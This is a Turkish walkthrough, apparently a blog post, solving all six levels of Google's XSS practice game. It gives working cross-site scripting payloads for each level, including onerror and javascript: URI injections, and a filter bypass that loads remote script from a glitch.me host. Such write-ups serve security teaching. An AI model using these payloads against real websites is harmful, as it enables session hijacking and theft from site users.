Google XSS Oyunu Çözümleri: Adım Adım Rehber (Türkçe)
Video
Hazırlık
Arama kısmına girdiğimiz değer javascript fonksiyonlarını çalıştırabiliyor mu bunu deneyeceğiz.
Bunun için html’in içine gömebildiğimiz javascript kodlarını kullanacağız.
İçerisine javascript gömülmüş örnek html içeriği:
1
2
3
4
5
6
7
8
<!DOCTYPE html>
<body>
<script>
let t = new Date();
document.body.innerHTML = "Tarih: " + t.getHours() + "." + t.getMinutes()
</script>
</body>
</html>
Buradaki gibi <script></script>
taglerinin arasına girdiğimiz şeyler javascript kodlarıdır.
Bunu ilgili web sitesinin arama kısmında istediğimiz gibi çalıştırabiliyorsak zaafiyet var demektir.
Bu deneme anahtar kelimelerine payload
denir.
Hazırsanız başlayalım. Hedefimiz: xss-game.appspot.com
Level 1
Kullanılan payload: <script>alert(1);</script>
Burada yukarıda anlattığım gibi payload’ı <script></script>
tagları olarak ele aldım.
Bizden istenen, bir alert() çalıştırmamız. alert() fonksiyonu javascriptte bir mesaj ve bir Tamam düğmesi içeren bir uyarı kutusu görüntüler.
Anahtar kelime: Reflected XSS
Kullanılan payload: <script>alert(1)</script>
Level 2
Burada önceki payload’ı kullanmak istediğimde çalışmadı. Sonra mesaj kutusunun ögelerini inceledim:
Sonra dedim ki eğer <blockquote></blockquote>
taglarını websitesi yerine kendim bitirirsem işe yarayabilir:
Payload: </blockquote><script>alert(1);</script>
Bu da işe yaramadı. Sonra fotoğraf ekleme yöntemini kullandım. javascriptte fotoğraf gömerken onerror ile fonksiyon çalıştırabiliyoruz.
Örnek: <img src="image.gif" onerror="myFunction()">
Bunu yaparken error vermesi için fotoğrafın var olmaması ya da src’nin yanlış yeri işaret ediyor olması gerekiyor.
Basitçe payload’ı şu şekle soktum: <img src="x" onerror="alert(1);">
Buna stored XSS deniyor. Yani biz bu alert() fonksiyonunu oraya gömdük ve artık o sayfaya giren herkes aynı mesajı görecek.
alert() yerine neler yazabileceğiniz hayal gücünüze kalmış.
Anahtar kelime: Stored XSS
Kullanılan payload: <img src="x" onerror="alert(1);">
Level 3
Burada input vereceğimiz herhangi bir yer yok. Peki ne yapacağız? Tabii ki öğreneceğiz!
1
2
3
4
5
6
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
Burada baktığımızda #
karakterinden sonra gelen veri yani image number, chooseTab(num)
ile alınıyor. Sonra da $('#tabContent').html(html);
ile html içine ekleniyor.
Eğer gönderilen num değerini manipüle edebilirsek alert() fonksiyonunu çalıştırabiliriz.
Bunun için burayı inceliyoruz: html += "<img src='/static/level3/cloud" + num + ".jpg' />";
Burada bizim input olarak girdiğimiz değer integer’a çevrilmeden direkt olarak yazılmış.
Tıpkı Level 2 deki örnekte olduğu gibi düzenleyebilir miyiz? 2. leveldeki şu şekildeydi: <img src="x" onerror="alert(1);">
Şimdiki örnekte buraya gelen veri şu şekilde olsaydı: html += "<img src='/static/level3/cloud" + num + ".jpg' onerror="alert(1)"/>";
Javascript kodumuz çalışacaktı.
Bunu yapmak için #
karakterinden sonra 'onerror='alert(1)'
yazıp gönderirsek arkaplanda şu şekilde görünecek:
html += "<img src='/static/level3/cloud" + ''onerror='alert(1)'' + ".jpg' />";
Yani return edilecek html kodu şu şekilde olacaktı:
<img src='/static/level3/cloud'onerror='alert(1)'.jpg' />";
O zaman url’yi şu şekilde değiştirsek: https://xss-game.appspot.com/level3/frame#'onerror='alert(1)'
ve bu url’ye gidersek:
Burada payloadı ' onerror='alert(1)//
olarak ayarlasaydık return edilecek html şu şekilde olurdu:
<img src='/static/level3/cloud' onerror='alert(1)//.jpg' />";
Bu kullanımda ise //
karakterleri ile .jpg
kısmı yorum haline getiriliyor. Bu yöntem de çalışırdı.
Kullandığımız payload: 'onerror='alert(1)'
Anahtar kelime: DOM based XSS
Level 4
index.html’de şu şekilde bir form var:
1
2
3
4
<form action="" method="GET">
<input id="timer" name="timer" value="3">
<input id="button" type="submit" value="Create timer"> </form>
</form>
buradaki timer
a girilen değer, timer.html’e şu şekilde aktarılıyor:
1
<img src="/static/loading.gif" onload="startTimer('');" />
Buradan anladığımıza göre loading.gif yüklendiğinde, startTimer fonksiyonu, parametre olarak gönderilen timer değeri ile çalıştırılacak. startTimer() fonksiyonu kodları burada:
1
2
3
4
5
6
7
8
9
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
Burada baktığımızda parametre olarak gönderilen seconds, sonradan seconds = parseInt(seconds) || 3;
statement’i ile 3’e ya da integer değerine atanıyor. Yani bu fonksiyon doğru çalışıyor ve fonksiyonda bir şey aramayacağız. Zaafiyet arayacağımız yer burası:
1
<img src="/static/loading.gif" onload="startTimer('');" />
Eğer 5'+alert(1)+'5
değerini gönderirsek bu html şuna dönüşecektir:
1
<img src="/static/loading.gif" onload="startTimer('5'+alert(1)+'5');" />
Böylece startTimer() fonksiyonuna gönderilen parametre 5 + undefined + 5 olacak.
Kullandığımız payload: 5'+alert(1)+'5
Anahtar kelime: DOM based XSS
Level 5
Burada signup.html’i incelersek:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="">Next >></a>
</body>
</html>
<a href="">Next >></a>
kodunu göreceğiz. Burada da bahsedildiği gibi a tagının href kısmında javascript fonksiyon çağrısı yapabiliyoruz. Örnek:
1
<a href="javascript:ornekFonksiyon()">link</a>
next değişkenine javascript:ornekFonksiyon()
gönderirsek buraya göndermiş olacağız. Bunu alert ile değiştirelim: javascript:alert(1)
ve gönderelim:
İşe yaramadı. confirm.html içerisine bakarsak:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = ''; }, 5000);
</script>
</body>
</html>
Parametre olarak gönderdiğimiz next, burada yönlendirme için kullanılıyor. O zaman confirm.html’e next değeri olarak javascript:alert(1)
gönderirsek: https://xss-game.appspot.com/level5/frame/confirm?next=javascript:alert(1)
olacak, 5 saniye bekleyecek ve normalde https://xss-game.appspot.com/level5/frame/welcome
linkine göndermesi gerekirken setTimeout(function() { window.location = ''; }, 5000);
statementinden kaynaklı olarak next değişkenine javascript:alert(1)
değeri geldiği için alert() fonksiyonu çalışacak:
Ayrıca signup.html ile bekleme olmadan manipüle edebiliriz. https://xss-game.appspot.com/level5/frame/signup?next=confirm
gördüğümüzde next değeri sondaki confirm olacak. Bunu manipüle edersek sonraki next değeri bizim gireceğimiz değer olur. Bu urlyi https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
olarak değiştirirsek:
Anahtar kelime: html attribute xss
Kullanılan payload: javascript:alert(1)
Level 6
Burada uzaktan bir js dosyası çağırıp alert() verdirmemizi istiyor. Url’ye bakacak olursak websitesinin root klasöründen /static/gadget.js
i kendisi çağırmaya çalışmış. Burayı manipüle edebiliriz.
Buradan edindiğimiz bilgiler üzerinden #data:text/plain,alert(1)
şeklinde uzaktan çağrılmış gibi veri gönderebiliyoruz. O zaman url’yi düzenlersek: https://xss-game.appspot.com/level6/frame#data:text/plain,alert(1)
elde ederiz. Go tuşuna basarsak:
Peki uzaktan js enjeksiyonu nasıl yapacağız?
Bunun için github gist, paste siteleri vb. denedim ancak işe yarayan sadece glitch oldu. Gösterdiğim gibi js dosyasını urlye giriyoruz:
Girdiğim url: https://xss-game.appspot.com/level6/frame#https://xss-game-appspot-com-level-6.glitch.me/i.js
Olmadı. Peki neden? Çünkü kaynak kodları incelersek (index.html):
1
2
3
4
5
6
7
8
<script>
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
</script>
Berbat bir uzaktan js yükleme koruması ile karşılaşıyoruz. Bu basit bir regex ile hazırlanmış koruma. Atlatmak için binbir farklı yöntem kullanılabilir.
Ben bunu kullanmayı yeterli buldum: https://xss-game.appspot.com/level6/frame#Https://xss-game-appspot-com-level-6.glitch.me/i.js
Sadece urlmin başındaki https’i Https olarak değiştirdim ve sonuç:
Anahtar kelime: remote code execution js
Kullanılan payload: https://xss-game.appspot.com/level6/frame#Https://xss-game-appspot-com-level-6.glitch.me/i.js